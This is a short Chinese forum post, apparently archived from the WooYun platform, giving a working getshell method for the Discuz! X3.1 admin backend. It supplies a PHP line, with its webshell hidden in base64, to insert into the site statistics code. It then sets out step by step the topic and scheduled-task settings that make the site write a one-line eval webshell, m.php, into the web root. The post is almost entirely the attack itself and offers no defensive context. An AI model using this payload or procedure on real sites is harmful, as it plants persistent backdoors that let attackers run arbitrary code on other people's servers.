https://www.t00ls.com/redirect.php?goto=findpost&ptid=26172&pid=414656
这里谈的……来自乌云的x3.1的老版本后台getshell，转到土司来，留个存档。
-----------------------------------------------------------------------------
总的来说，就是利用计划任务来执行php代码的。实现过程如下：
测试版本：Discuz! X3.1 Release 20131122
1.全局 » 站点信息：网站第三方统计代码里面插入：
<?php fputs(fopen('m.php',w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="));?>
2. 门户 » HTML管理 » 设置：
设置 专题HTML存放目录:source/include/cron
3.门户 » 专题管理 » 列表 » 创建专题,新建一个专题：
专题标题,随便写，静态化名称：test ，附加内容 选上 站点尾部信息然后提交。
4. 开启刚才创建的专题，然后生成：
5.工具 » 计划任务 » 新增： test ，然后提交。然后 编辑计划任务 - test，分钟：设置为：1 ，任务脚本:test.html ， 然后 提交。
6.成功在根目录生成一句话 m.php
